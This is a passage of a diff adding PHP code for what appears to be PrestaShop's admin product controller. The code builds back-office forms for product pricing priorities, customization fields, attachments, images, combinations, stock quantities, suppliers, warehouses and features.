customers')).'</td> + <td class="cell border">'.$fixed_price.'</td> + <td class="cell border">'.$impact.'</td> + <td class="cell border">'.$period.'</td> + <td class="cell border">'.$specific_price['from_quantity'].'</th> + <td class="cell border">'.((!$rule->id && $can_delete_specific_prices) ? '<a name="delete_link" href="'.self::$currentIndex.'&id_product='.(int)Tools::getValue('id_product').'&action=deleteSpecificPrice&id_specific_price='.(int)($specific_price['id_specific_price']).'&token='.Tools::getValue('token').'"><img src="../img/admin/delete.gif" alt="'.$this->l('Delete').'" /></a>': '').'</td> + </tr>'; + $i++; + unset($customer_full_name); + } + } + } + $content .= ' + </tbody> + </table>'; + + $content .= ' + <script type="text/javascript"> + var currencies = new Array(); + currencies[0] = new Array(); + currencies[0]["sign"] = "'.$defaultCurrency->sign.'"; + currencies[0]["format"] = '.$defaultCurrency->format.'; + '; + foreach ($currencies as $currency) + { + $content .= ' + currencies['.$currency['id_currency'].'] = new Array(); + currencies['.$currency['id_currency'].']["sign"] = "'.$currency['sign'].'"; + currencies['.$currency['id_currency'].']["format"] = '.$currency['format'].'; + '; + } + $content .= ' + </script> + '; + + // Not use id_customer + if ($specific_price_priorities[0] == 'id_customer') + unset($specific_price_priorities[0]); + // Reindex array starting from 0 + $specific_price_priorities = array_values($specific_price_priorities); + + $content .= ' + <div class="separation"></div> + <h4>'.$this->l('Priority management').'</h4> + <div class="hint" style="display:block;min-height:0;"> + '.$this->l('Sometimes one customer can fit into multiple price rules. Priorities allow you to define which rule applies to the customer.').' + </div + <br /><br /> + <label>'.$this->l('Priorities:').'</label> + <div class="margin-form"> + <select name="specificPricePriority[]"> + <option value="id_shop"'.($specific_price_priorities[0] == 'id_shop' ? ' selected="selected"' : '').'>'.$this->l('Shop').'</option> + <option value="id_currency"'.($specific_price_priorities[0] == 'id_currency' ? ' selected="selected"' : '').'>'.$this->l('Currency').'</option> + <option value="id_country"'.($specific_price_priorities[0] == 'id_country' ? ' selected="selected"' : '').'>'.$this->l('Country').'</option> + <option value="id_group"'.($specific_price_priorities[0] == 'id_group' ? ' selected="selected"' : '').'>'.$this->l('Group').'</option> + </select> + > + <select name="specificPricePriority[]"> + <option value="id_shop"'.($specific_price_priorities[1] == 'id_shop' ? ' selected="selected"' : '').'>'.$this->l('Shop').'</option> + <option value="id_currency"'.($specific_price_priorities[1] == 'id_currency' ? ' selected="selected"' : '').'>'.$this->l('Currency').'</option> + <option value="id_country"'.($specific_price_priorities[1] == 'id_country' ? ' selected="selected"' : '').'>'.$this->l('Country').'</option> + <option value="id_group"'.($specific_price_priorities[1] == 'id_group' ? ' selected="selected"' : '').'>'.$this->l('Group').'</option> + </select> + > + <select name="specificPricePriority[]"> + <option value="id_shop"'.($specific_price_priorities[2] == 'id_shop' ? ' selected="selected"' : '').'>'.$this->l('Shop').'</option> + <option value="id_currency"'.($specific_price_priorities[2] == 'id_currency' ? ' selected="selected"' : '').'>'.$this->l('Currency').'</option> + <option value="id_country"'.($specific_price_priorities[2] == 'id_country' ? ' selected="selected"' : '').'>'.$this->l('Country').'</option> + <option value="id_group"'.($specific_price_priorities[2] == 'id_group' ? ' selected="selected"' : '').'>'.$this->l('Group').'</option> + </select> + > + <select name="specificPricePriority[]"> + <option value="id_shop"'.($specific_price_priorities[3] == 'id_shop' ? ' selected="selected"' : '').'>'.$this->l('Shop').'</option> + <option value="id_currency"'.($specific_price_priorities[3] == 'id_currency' ? ' selected="selected"' : '').'>'.$this->l('Currency').'</option> + <option value="id_country"'.($specific_price_priorities[3] == 'id_country' ? ' selected="selected"' : '').'>'.$this->l('Country').'</option> + <option value="id_group"'.($specific_price_priorities[3] == 'id_group' ? ' selected="selected"' : '').'>'.$this->l('Group').'</option> + </select> + </div> + + <div class="margin-form"> + <input type="checkbox" name="specificPricePriorityToAll" id="specificPricePriorityToAll" /> <label class="t" for="specificPricePriorityToAll">'.$this->l('Apply to all products').'</label> + </div> + '; + return $content; + } + + protected function _getCustomizationFieldIds($labels, $alreadyGenerated, $obj) + { + $customizableFieldIds = array(); + if (isset($labels[Product::CUSTOMIZE_FILE])) + foreach ($labels[Product::CUSTOMIZE_FILE] as $id_customization_field => $label) + $customizableFieldIds[] = 'label_'.Product::CUSTOMIZE_FILE.'_'.(int)($id_customization_field); + if (isset($labels[Product::CUSTOMIZE_TEXTFIELD])) + foreach ($labels[Product::CUSTOMIZE_TEXTFIELD] as $id_customization_field => $label) + $customizableFieldIds[] = 'label_'.Product::CUSTOMIZE_TEXTFIELD.'_'.(int)($id_customization_field); + $j = 0; + for ($i = $alreadyGenerated[Product::CUSTOMIZE_FILE]; $i < (int)($this->getFieldValue($obj, 'uploadable_files')); $i++) + $customizableFieldIds[] = 'newLabel_'.Product::CUSTOMIZE_FILE.'_'.$j++; + $j = 0; + for ($i = $alreadyGenerated[Product::CUSTOMIZE_TEXTFIELD]; $i < (int)($this->getFieldValue($obj, 'text_fields')); $i++) + $customizableFieldIds[] = 'newLabel_'.Product::CUSTOMIZE_TEXTFIELD.'_'.$j++; + return implode('¤', $customizableFieldIds); + } + + protected function _displayLabelField(&$label, $languages, $default_language, $type, $fieldIds, $id_customization_field) + { + $content = ''; + $fieldsName = 'label_'.$type.'_'.(int)($id_customization_field); + $fieldsContainerName = 'labelContainer_'.$type.'_'.(int)($id_customization_field); + $content .= '<div id="'.$fieldsContainerName.'" class="translatable clear" style="line-height: 18px">'; + foreach ($languages as $language) + { + $fieldName = 'label_'.$type.'_'.(int)($id_customization_field).'_'.(int)($language['id_lang']); + $text = (isset($label[(int)($language['id_lang'])])) ? $label[(int)($language['id_lang'])]['name'] : ''; + $content .= '<div class="lang_'.$language['id_lang'].'" id="'.$fieldName.'" style="display: '.((int)($language['id_lang']) == (int)($default_language) ? 'block' : 'none').'; clear: left; float: left; padding-bottom: 4px;"> + <input type="text" name="'.$fieldName.'" value="'.htmlentities($text, ENT_COMPAT, 'UTF-8').'" style="float: left" /> + </div>'; + } + + $required = (isset($label[(int)($language['id_lang'])])) ? $label[(int)($language['id_lang'])]['required'] : false; + $content .= '</div> + <div style="margin: 3px 0 0 3px; font-size: 11px"> + <input type="checkbox" name="require_'.$type.'_'.(int)($id_customization_field).'" id="require_'.$type.'_'.(int)($id_customization_field).'" value="1" '.($required ? 'checked="checked"' : '').' style="float: left; margin: 0 4px"/><label for="require_'.$type.'_'.(int)($id_customization_field).'" style="float: none; font-weight: normal;"> '.$this->l('required').'</label> + </div>'; + return $content; + } + + protected function _displayLabelFields(&$obj, &$labels, $languages, $default_language, $type) + { + $content = ''; + $type = (int)($type); + $labelGenerated = array(Product::CUSTOMIZE_FILE => (isset($labels[Product::CUSTOMIZE_FILE]) ? count($labels[Product::CUSTOMIZE_FILE]) : 0), Product::CUSTOMIZE_TEXTFIELD => (isset($labels[Product::CUSTOMIZE_TEXTFIELD]) ? count($labels[Product::CUSTOMIZE_TEXTFIELD]) : 0)); + + $fieldIds = $this->_getCustomizationFieldIds($labels, $labelGenerated, $obj); + if (isset($labels[$type])) + foreach ($labels[$type] as $id_customization_field => $label) + $content .= $this->_displayLabelField($label, $languages, $default_language, $type, $fieldIds, (int)($id_customization_field)); + return $content; + } + + public function initFormCustomization($obj) + { + $data = $this->createTemplate($this->tpl_form); + + if ((bool)$obj->id) + { + if ($this->product_exists_in_shop) + { + $labels = $obj->getCustomizationFields(); + + $has_file_labels = (int)$this->getFieldValue($obj, 'uploadable_files'); + $has_text_labels = (int)$this->getFieldValue($obj, 'text_fields'); + + $data->assign(array( + 'obj' => $obj, + 'table' => $this->table, + 'languages' => $this->_languages, + 'has_file_labels' => $has_file_labels, + 'display_file_labels' => $this->_displayLabelFields($obj, $labels, $this->_languages, Configuration::get('PS_LANG_DEFAULT'), Product::CUSTOMIZE_FILE), + 'has_text_labels' => $has_text_labels, + 'display_text_labels' => $this->_displayLabelFields($obj, $labels, $this->_languages, Configuration::get('PS_LANG_DEFAULT'), Product::CUSTOMIZE_TEXTFIELD), + 'uploadable_files' => (int)($this->getFieldValue($obj, 'uploadable_files') ? (int)$this->getFieldValue($obj, 'uploadable_files') : '0'), + 'text_fields' => (int)($this->getFieldValue($obj, 'text_fields') ? (int)$this->getFieldValue($obj, 'text_fields') : '0'), + )); + } + else + $this->displayWarning($this->l('You must save the product in this shop before adding customization.')); + } + else + $this->displayWarning($this->l('You must save this product before adding customization.')); + + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + public function initFormAttachments($obj) + { + $data = $this->createTemplate($this->tpl_form); + + if ((bool)$obj->id) + { + if ($this->product_exists_in_shop) + { + $attachment_name = array(); + $attachment_description = array(); + foreach ($this->_languages as $language) + { + $attachment_name[$language['id_lang']] = ''; + $attachment_description[$language['id_lang']] = ''; + } + + $iso_tiny_mce = $this->context->language->iso_code; + $iso_tiny_mce = (file_exists(_PS_JS_DIR_.'tiny_mce/langs/'.$iso_tiny_mce.'.js') ? $iso_tiny_mce : 'en'); + + $data->assign(array( + 'obj' => $obj, + 'table' => $this->table, + 'ad' => dirname($_SERVER['PHP_SELF']), + 'iso_tiny_mce' => $iso_tiny_mce, + 'languages' => $this->_languages, + 'attach1' => Attachment::getAttachments($this->context->language->id, $obj->id, true), + 'attach2' => Attachment::getAttachments($this->context->language->id, $obj->id, false), + 'default_form_language' => (int)Configuration::get('PS_LANG_DEFAULT'), + 'attachment_name' => $attachment_name, + 'attachment_description' => $attachment_description, + 'PS_ATTACHMENT_MAXIMUM_SIZE' => Configuration::get('PS_ATTACHMENT_MAXIMUM_SIZE') + )); + } + else + $this->displayWarning($this->l('You must save the product in this shop before adding attachements.')); + } + else + $this->displayWarning($this->l('You must save this product before adding attachements.')); + + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + public function initFormInformations($product) + { + $data = $this->createTemplate($this->tpl_form); + + $currency = $this->context->currency; + $data->assign('languages', $this->_languages); + $data->assign('currency', $currency); + $this->object = $product; + $this->display = 'edit'; + $data->assign('product_name_redirected', Product::getProductName((int)$product->id_product_redirected, null, (int)$this->context->language->id)); + /* + * Form for adding a virtual product like software, mp3, etc... + */ + $product_download = new ProductDownload(); + if ($id_product_download = $product_download->getIdFromIdProduct($this->getFieldValue($product, 'id'))) + $product_download = new ProductDownload($id_product_download); + $product->{'productDownload'} = $product_download; + + $cache_default_attribute = (int)$this->getFieldValue($product, 'cache_default_attribute'); + + $product_props = array(); + // global informations + array_push($product_props, 'reference', 'ean13', 'upc', + 'available_for_order', 'show_price', 'online_only', + 'id_manufacturer' + ); + + // specific / detailled information + array_push($product_props, + // physical product + 'width', 'height', 'weight', 'active', + // virtual product + 'is_virtual', 'cache_default_attribute', + // customization + 'uploadable_files', 'text_fields' + ); + // prices + array_push($product_props, + 'price', 'wholesale_price', 'id_tax_rules_group', 'unit_price_ratio', 'on_sale', + 'unity', 'minimum_quantity', 'additional_shipping_cost', + 'available_now', 'available_later', 'available_date' + ); + + if (Configuration::get('PS_USE_ECOTAX')) + array_push($product_props, 'ecotax'); + + foreach ($product_props as $prop) + $product->$prop = $this->getFieldValue($product, $prop); + + $product->name['class'] = 'updateCurrentText'; + if (!$product->id) + $product->name['class'] .= ' copy2friendlyUrl'; + + $images = Image::getImages($this->context->language->id, $product->id); + + foreach ($images as $k => $image) + $images[$k]['src'] = $this->context->link->getImageLink($product->link_rewrite[$this->context->language->id], $product->id.'-'.$image['id_image'], 'small_default'); + $data->assign('images', $images); + $data->assign('imagesTypes', ImageType::getImagesTypes('products')); + + $product->tags = Tag::getProductTags($product->id); + + $data->assign('product_type', (int)Tools::getValue('type_product', $product->getType())); + $data->assign('is_in_pack', (int)Pack::isPacked($product->id)); + + $check_product_association_ajax = false; + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL) + $check_product_association_ajax = true; + + // TinyMCE + $iso_tiny_mce = $this->context->language->iso_code; + $iso_tiny_mce = (file_exists(_PS_JS_DIR_.'tiny_mce/langs/'.$iso_tiny_mce.'.js') ? $iso_tiny_mce : 'en'); + $data->assign('ad', dirname($_SERVER['PHP_SELF'])); + $data->assign('iso_tiny_mce', $iso_tiny_mce); + $data->assign('check_product_association_ajax', $check_product_association_ajax); + $data->assign('id_lang', $this->context->language->id); + $data->assign('product', $product); + $data->assign('token', $this->token); + $data->assign('currency', $currency); + $data->assign($this->tpl_form_vars); + $data->assign('link', $this->context->link); + $data->assign('PS_PRODUCT_SHORT_DESC_LIMIT', Configuration::get('PS_PRODUCT_SHORT_DESC_LIMIT') ? Configuration::get('PS_PRODUCT_SHORT_DESC_LIMIT') : 400); + $this->tpl_form_vars['product'] = $product; + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + public function initFormShipping($obj) + { + $data = $this->createTemplate($this->tpl_form); + $data->assign(array( + 'product' => $obj, + 'ps_dimension_unit' => Configuration::get('PS_DIMENSION_UNIT'), + 'ps_weight_unit' => Configuration::get('PS_WEIGHT_UNIT'), + 'carrier_list' => $this->getCarrierList(), + 'currency' => $this->context->currency, + 'country_display_tax_label' => $this->context->country->display_tax_label + )); + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + protected function getCarrierList() + { + $carrier_list = Carrier::getCarriers($this->context->language->id, false, false, false, null, Carrier::ALL_CARRIERS); + if ($product = $this->loadObject(true)) + { + $carrier_selected_list = $product->getCarriers(); + foreach ($carrier_list as &$carrier) + foreach ($carrier_selected_list as $carrier_selected) + if ($carrier_selected['id_reference'] == $carrier['id_reference']) + { + $carrier['selected'] = true; + continue; + } + } + return $carrier_list; + } + + protected function addCarriers() + { + if (Validate::isLoadedObject($product = new Product((int)Tools::getValue('id_product')))) + { + $carriers = array(); + + if (Tools::getValue('carriers')) + $carriers = Tools::getValue('carriers'); + $product->setCarriers($carriers); + } + } + + public function initFormImages($obj) + { + $data = $this->createTemplate($this->tpl_form); + + if ((bool)$obj->id) + { + if ($this->product_exists_in_shop) + { + $data->assign('product', $this->loadObject()); + + $shops = false; + if (Shop::isFeatureActive()) + $shops = Shop::getShops(); + + if ($shops) + foreach ($shops as $key => $shop) + if (!$obj->isAssociatedToShop($shop['id_shop'])) + unset($shops[$key]); + + $data->assign('shops', $shops); + + $count_images = Db::getInstance()->getValue(' + SELECT COUNT(id_product) + FROM '._DB_PREFIX_.'image + WHERE id_product = '.(int)$obj->id + ); + + $images = Image::getImages($this->context->language->id, $obj->id); + foreach ($images as $k => $image) + $images[$k] = new Image($image['id_image']); + + if ($this->context->shop->getContext() == Shop::CONTEXT_SHOP) + $current_shop_id = (int)$this->context->shop->id; + else + $current_shop_id = 0; + + $data->assign(array( + 'countImages' => $count_images, + 'id_product' => (int)Tools::getValue('id_product'), + 'id_category_default' => (int)$this->_category->id, + 'images' => $images, + 'token' => $this->token, + 'table' => $this->table, + 'max_image_size' => $this->max_image_size / 1024 / 1024, + 'up_filename' => (string)Tools::getValue('virtual_product_filename_attribute'), + 'currency' => $this->context->currency, + 'current_shop_id' => $current_shop_id + )); + } + else + $this->displayWarning($this->l('You must save the product in this shop before adding images.')); + } + else + $this->displayWarning($this->l('You must save this product before adding images.')); + + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + public function initFormCombinations($obj) + { + return $this->initFormAttributes($obj); + } + + public function initFormAttributes($product) + { + $data = $this->createTemplate($this->tpl_form); + if (!Combination::isFeatureActive()) + $this->displayWarning($this->l('This feature has been disabled. '). + ' <a href="index.php?tab=AdminPerformance&token='.Tools::getAdminTokenLite('AdminPerformance').'#featuresDetachables">'.$this->l('Performances').'</a>'); + else if (Validate::isLoadedObject($product)) + { + if ($this->product_exists_in_shop) + { + if ($product->is_virtual) + { + $data->assign('product', $product); + $this->displayWarning($this->l('A virtual product cannot have combinations.')); + } + else + { + $attribute_js = array(); + $attributes = Attribute::getAttributes($this->context->language->id, true); + foreach ($attributes as $k => $attribute) + $attribute_js[$attribute['id_attribute_group']][$attribute['id_attribute']] = $attribute['name']; + $currency = $this->context->currency; + $data->assign('attributeJs', $attribute_js); + $data->assign('attributes_groups', AttributeGroup::getAttributesGroups($this->context->language->id)); + + $data->assign('currency', $currency); + + $images = Image::getImages($this->context->language->id, $product->id); + + $data->assign('tax_exclude_option', Tax::excludeTaxeOption()); + $data->assign('ps_weight_unit', Configuration::get('PS_WEIGHT_UNIT')); + + $data->assign('ps_use_ecotax', Configuration::get('PS_USE_ECOTAX')); + $data->assign('field_value_unity', $this->getFieldValue($product, 'unity')); + + $data->assign('reasons', $reasons = StockMvtReason::getStockMvtReasons($this->context->language->id)); + $data->assign('ps_stock_mvt_reason_default', $ps_stock_mvt_reason_default = Configuration::get('PS_STOCK_MVT_REASON_DEFAULT')); + $data->assign('minimal_quantity', $this->getFieldValue($product, 'minimal_quantity') ? $this->getFieldValue($product, 'minimal_quantity') : 1); + $data->assign('available_date', ($this->getFieldValue($product, 'available_date') != 0) ? stripslashes(htmlentities($this->getFieldValue($product, 'available_date'), $this->context->language->id)) : '0000-00-00'); + + $i = 0; + $data->assign('imageType', ImageType::getByNameNType('small_default', 'products')); + $data->assign('imageWidth', (isset($image_type['width']) ? (int)($image_type['width']) : 64) + 25); + foreach ($images as $k => $image) + { + $images[$k]['obj'] = new Image($image['id_image']); + ++$i; + } + $data->assign('images', $images); + + $data->assign($this->tpl_form_vars); + $data->assign(array( + 'list' => $this->renderListAttributes($product, $currency), + 'product' => $product, + 'id_category' => $product->getDefaultCategory(), + 'token_generator' => Tools::getAdminTokenLite('AdminAttributeGenerator'), + 'combination_exists' => (Shop::isFeatureActive() && (Shop::getContextShopGroup()->share_stock) && count(AttributeGroup::getAttributesGroups($this->context->language->id)) > 0 && $product->hasAttributes()) + )); + } + } + else + $this->displayWarning($this->l('You must save the product in this shop before adding combinations.')); + } + else + { + $data->assign('product', $product); + $this->displayWarning($this->l('You must save this product before adding combinations.')); + } + + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + public function renderListAttributes($product, $currency) + { + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + $this->addRowAction('edit'); + $this->addRowAction('default'); + $this->addRowAction('delete'); + + $color_by_default = '#BDE5F8'; + + $this->fields_list = array( + 'attributes' => array('title' => $this->l('Attributes'), 'align' => 'left'), + 'price' => array('title' => $this->l('Impact'), 'type' => 'price', 'align' => 'left', 'width' => 70), + 'weight' => array('title' => $this->l('Weight'), 'align' => 'left', 'width' => 70), + 'reference' => array('title' => $this->l('Reference'), 'align' => 'left', 'width' => 70), + 'ean13' => array('title' => $this->l('EAN13'), 'align' => 'left', 'width' => 70), + 'upc' => array('title' => $this->l('UPC'), 'align' => 'left', 'width' => 70) + ); + + if ($product->id) + { + /* Build attributes combinations */ + $combinations = $product->getAttributeCombinations($this->context->language->id); + $groups = array(); + $comb_array = array(); + if (is_array($combinations)) + { + $combination_images = $product->getCombinationImages($this->context->language->id); + foreach ($combinations as $k => $combination) + { + $price_to_convert = Tools::convertPrice($combination['price'], $currency); + $price = Tools::displayPrice($price_to_convert, $currency); + + $comb_array[$combination['id_product_attribute']]['id_product_attribute'] = $combination['id_product_attribute']; + $comb_array[$combination['id_product_attribute']]['attributes'][] = array($combination['group_name'], $combination['attribute_name'], $combination['id_attribute']); + $comb_array[$combination['id_product_attribute']]['wholesale_price'] = $combination['wholesale_price']; + $comb_array[$combination['id_product_attribute']]['price'] = $price; + $comb_array[$combination['id_product_attribute']]['weight'] = $combination['weight'].Configuration::get('PS_WEIGHT_UNIT'); + $comb_array[$combination['id_product_attribute']]['unit_impact'] = $combination['unit_price_impact']; + $comb_array[$combination['id_product_attribute']]['reference'] = $combination['reference']; + $comb_array[$combination['id_product_attribute']]['ean13'] = $combination['ean13']; + $comb_array[$combination['id_product_attribute']]['upc'] = $combination['upc']; + $comb_array[$combination['id_product_attribute']]['id_image'] = isset($combination_images[$combination['id_product_attribute']][0]['id_image']) ? $combination_images[$combination['id_product_attribute']][0]['id_image'] : 0; + $comb_array[$combination['id_product_attribute']]['available_date'] = strftime($combination['available_date']); + $comb_array[$combination['id_product_attribute']]['default_on'] = $combination['default_on']; + if ($combination['is_color_group']) + $groups[$combination['id_attribute_group']] = $combination['group_name']; + } + } + + $irow = 0; + if (isset($comb_array)) + { + foreach ($comb_array as $id_product_attribute => $product_attribute) + { + $list = ''; + + /* In order to keep the same attributes order */ + asort($product_attribute['attributes']); + + foreach ($product_attribute['attributes'] as $attribute) + $list .= $attribute[0].' - '.$attribute[1].', '; + + $list = rtrim($list, ', '); + $comb_array[$id_product_attribute]['image'] = $product_attribute['id_image'] ? new Image($product_attribute['id_image']) : false; + $comb_array[$id_product_attribute]['available_date'] = $product_attribute['available_date'] != 0 ? date('Y-m-d', strtotime($product_attribute['available_date'])) : '0000-00-00'; + $comb_array[$id_product_attribute]['attributes'] = $list; + + if ($product_attribute['default_on']) + { + $comb_array[$id_product_attribute]['name'] = 'is_default'; + $comb_array[$id_product_attribute]['color'] = $color_by_default; + } + } + } + } + + foreach ($this->actions_available as $action) + { + if (!in_array($action, $this->actions) && isset($this->$action) && $this->$action) + $this->actions[] = $action; + } + + $helper = new HelperList(); + $helper->identifier = 'id_product_attribute'; + $helper->token = $this->token; + $helper->currentIndex = self::$currentIndex; + $helper->no_link = true; + $helper->simple_header = true; + $helper->show_toolbar = false; + $helper->shopLinkType = $this->shopLinkType; + $helper->actions = $this->actions; + $helper->list_skip_actions = $this->list_skip_actions; + $helper->colorOnBackground = true; + $helper->override_folder = $this->tpl_folder.'combination/'; + + return $helper->generateList($comb_array, $this->fields_list); + } + + public function initFormQuantities($obj) + { + $data = $this->createTemplate($this->tpl_form); + + if ($obj->id) + { + if ($this->product_exists_in_shop) + { + // Get all id_product_attribute + $attributes = $obj->getAttributesResume($this->context->language->id); + if (empty($attributes)) + $attributes[] = array( + 'id_product_attribute' => 0, + 'attribute_designation' => '' + ); + + // Get available quantities + $available_quantity = array(); + $product_designation = array(); + + foreach ($attributes as $attribute) + { + // Get available quantity for the current product attribute in the current shop + $available_quantity[$attribute['id_product_attribute']] = StockAvailable::getQuantityAvailableByProduct((int)$obj->id, + $attribute['id_product_attribute']); + // Get all product designation + $product_designation[$attribute['id_product_attribute']] = rtrim( + $obj->name[$this->context->language->id].' - '.$attribute['attribute_designation'], + ' - ' + ); + } + + $show_quantities = true; + $shop_context = Shop::getContext(); + $shop_group = new ShopGroup((int)Shop::getContextShopGroupID()); + + // if we are in all shops context, it's not possible to manage quantities at this level + if (Shop::isFeatureActive() && $shop_context == Shop::CONTEXT_ALL) + $show_quantities = false; + // if we are in group shop context + elseif (Shop::isFeatureActive() && $shop_context == Shop::CONTEXT_GROUP) + { + // if quantities are not shared between shops of the group, it's not possible to manage them at group level + if (!$shop_group->share_stock) + $show_quantities = false; + } + // if we are in shop context + else + { + // if quantities are shared between shops of the group, it's not possible to manage them for a given shop + if ($shop_group->share_stock) + $show_quantities = false; + } + + $data->assign('ps_stock_management', Configuration::get('PS_STOCK_MANAGEMENT')); + $data->assign('has_attribute', $obj->hasAttributes()); + // Check if product has combination, to display the available date only for the product or for each combination + if (Combination::isFeatureActive()) + $data->assign('countAttributes', (int)Db::getInstance()->getValue('SELECT COUNT(id_product) FROM '._DB_PREFIX_.'product_attribute WHERE id_product = '.(int)$obj->id)); + else + $data->assign('countAttributes', false); + // if advanced stock management is active, checks associations + $advanced_stock_management_warning = false; + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && $obj->advanced_stock_management) + { + $p_attributes = Product::getProductAttributesIds($obj->id); + $warehouses = array(); + + if (!$p_attributes) + $warehouses[] = Warehouse::getProductWarehouseList($obj->id, 0); + + foreach ($p_attributes as $p_attribute) + { + $ws = Warehouse::getProductWarehouseList($obj->id, $p_attribute['id_product_attribute']); + if ($ws) + $warehouses[] = $ws; + } + $warehouses = Tools::arrayUnique($warehouses); + + if (empty($warehouses)) + $advanced_stock_management_warning = true; + } + if ($advanced_stock_management_warning) + { + $this->displayWarning($this->l('If you wish to use the advanced stock management, you must:')); + $this->displayWarning('- '.$this->l('associate your products with warehouses.')); + $this->displayWarning('- '.$this->l('associate your warehouses with carriers.')); + $this->displayWarning('- '.$this->l('associate your warehouses with the appropriate shops.')); + } + + $pack_quantity = null; + // if product is a pack + if (Pack::isPack($obj->id)) + { + $items = Pack::getItems((int)$obj->id, Configuration::get('PS_LANG_DEFAULT')); + + // gets an array of quantities (quantity for the product / quantity in pack) + $pack_quantities = array(); + foreach ($items as $item) + { + if (!$item->isAvailableWhenOutOfStock((int)$item->out_of_stock)) + { + $pack_id_product_attribute = Product::getDefaultAttribute($item->id, 1); + $pack_quantities[] = Product::getQuantity($item->id, $pack_id_product_attribute) / ($item->pack_quantity !== 0 ? $item->pack_quantity : 1); + } + } + + // gets the minimum + if (count($pack_quantities)) + { + $pack_quantity = $pack_quantities[0]; + foreach ($pack_quantities as $value) + { + if ($pack_quantity > $value) + $pack_quantity = $value; + } + } + + if (!Warehouse::getPackWarehouses((int)$obj->id)) + $this->displayWarning($this->l('You must have a common warehouse between this pack and its product.')); + } + + $data->assign(array( + 'attributes' => $attributes, + 'available_quantity' => $available_quantity, + 'pack_quantity' => $pack_quantity, + 'stock_management_active' => Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT'), + 'product_designation' => $product_designation, + 'product' => $obj, + 'show_quantities' => $show_quantities, + 'order_out_of_stock' => Configuration::get('PS_ORDER_OUT_OF_STOCK'), + 'token_preferences' => Tools::getAdminTokenLite('AdminPPreferences'), + 'token' => $this->token, + 'languages' => $this->_languages, + )); + } + else + $this->displayWarning($this->l('You must save the product in this shop before managing quantities.')); + } + else + $this->displayWarning($this->l('You must save this product before managing quantities.')); + + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + public function initFormSuppliers($obj) + { + $data = $this->createTemplate($this->tpl_form); + + if ($obj->id) + { + if ($this->product_exists_in_shop) + { + // Get all id_product_attribute + $attributes = $obj->getAttributesResume($this->context->language->id); + if (empty($attributes)) + $attributes[] = array( + 'id_product' => $obj->id, + 'id_product_attribute' => 0, + 'attribute_designation' => '' + ); + + $product_designation = array(); + + foreach ($attributes as $attribute) + $product_designation[$attribute['id_product_attribute']] = rtrim( + $obj->name[$this->context->language->id].' - '.$attribute['attribute_designation'], + ' - ' + ); + + // Get all available suppliers + $suppliers = Supplier::getSuppliers(); + + // Get already associated suppliers + $associated_suppliers = ProductSupplier::getSupplierCollection($obj->id); + + // Get already associated suppliers and force to retreive product declinaisons + $product_supplier_collection = ProductSupplier::getSupplierCollection($obj->id, false); + + $default_supplier = 0; + + foreach ($suppliers as &$supplier) + { + $supplier['is_selected'] = false; + $supplier['is_default'] = false; + + foreach ($associated_suppliers as $associated_supplier) + if ($associated_supplier->id_supplier == $supplier['id_supplier']) + { + $associated_supplier->name = $supplier['name']; + $supplier['is_selected'] = true; + + if ($obj->id_supplier == $supplier['id_supplier']) + { + $supplier['is_default'] = true; + $default_supplier = $supplier['id_supplier']; + } + } + } + + $data->assign(array( + 'attributes' => $attributes, + 'suppliers' => $suppliers, + 'default_supplier' => $default_supplier, + 'associated_suppliers' => $associated_suppliers, + 'associated_suppliers_collection' => $product_supplier_collection, + 'product_designation' => $product_designation, + 'currencies' => Currency::getCurrencies(), + 'product' => $obj, + 'link' => $this->context->link, + 'token' => $this->token, + 'id_default_currency' => Configuration::get('PS_CURRENCY_DEFAULT'), + )); + } + else + $this->displayWarning($this->l('You must save the product in this shop before managing suppliers.')); + } + else + $this->displayWarning($this->l('You must save this product before managing suppliers.')); + + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + public function initFormWarehouses($obj) + { + $data = $this->createTemplate($this->tpl_form); + + if ($obj->id) + { + if ($this->product_exists_in_shop) + { + // Get all id_product_attribute + $attributes = $obj->getAttributesResume($this->context->language->id); + if (empty($attributes)) + $attributes[] = array( + 'id_product' => $obj->id, + 'id_product_attribute' => 0, + 'attribute_designation' => '' + ); + + $product_designation = array(); + + foreach ($attributes as $attribute) + $product_designation[$attribute['id_product_attribute']] = rtrim( + $obj->name[$this->context->language->id].' - '.$attribute['attribute_designation'], + ' - ' + ); + + // Get all available warehouses + $warehouses = Warehouse::getWarehouses(true); + + // Get already associated warehouses + $associated_warehouses_collection = WarehouseProductLocation::getCollection($obj->id); + + $data->assign(array( + 'attributes' => $attributes, + 'warehouses' => $warehouses, + 'associated_warehouses' => $associated_warehouses_collection, + 'product_designation' => $product_designation, + 'product' => $obj, + 'link' => $this->context->link, + 'token' => $this->token + )); + } + else + $this->displayWarning($this->l('You must save the product in this shop before managing warehouses.')); + } + else + $this->displayWarning($this->l('You must save this product before managing warehouses.')); + + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + public function initFormFeatures($obj) + { + $data = $this->createTemplate($this->tpl_form); + if (!Feature::isFeatureActive()) + $this->displayWarning($this->l('This feature has been disabled. ').' <a href="index.php?tab=AdminPerformance&token='.Tools::getAdminTokenLite('AdminPerformance').'#featuresDetachables">'.$this->l('Performances').'</a>'); + else + { + if ($obj->id) + { + if ($this->product_exists_in_shop) + { + $features = Feature::getFeatures($this->context->language->id, (Shop::isFeatureActive() && Shop::getContext() == Shop::CONTEXT_SHOP)); + + foreach ($features as $k => $tab_features) + { + $features[$k]['current_item'] = false; + $features[$k]['val'] = array(); + + $custom = true; + foreach ($obj->getFeatures() as $tab_products) + if ($tab_products['id_feature'] == $tab_features['id_feature']) + $features[$k]['current_item'] = $tab_products['id_feature_value']; + + $features[$k]['featureValues'] = FeatureValue::getFeatureValuesWithLang($this->context->language->id, (int)$tab_features['id_feature']); + if (count($features[$k]['featureValues'])) + foreach ($features[$k]['featureValues'] as $value) + if ($features[$k]['current_item'] == $value['id_feature_value']) + $custom = false; + + if ($custom) + $features[$k]['val'] = 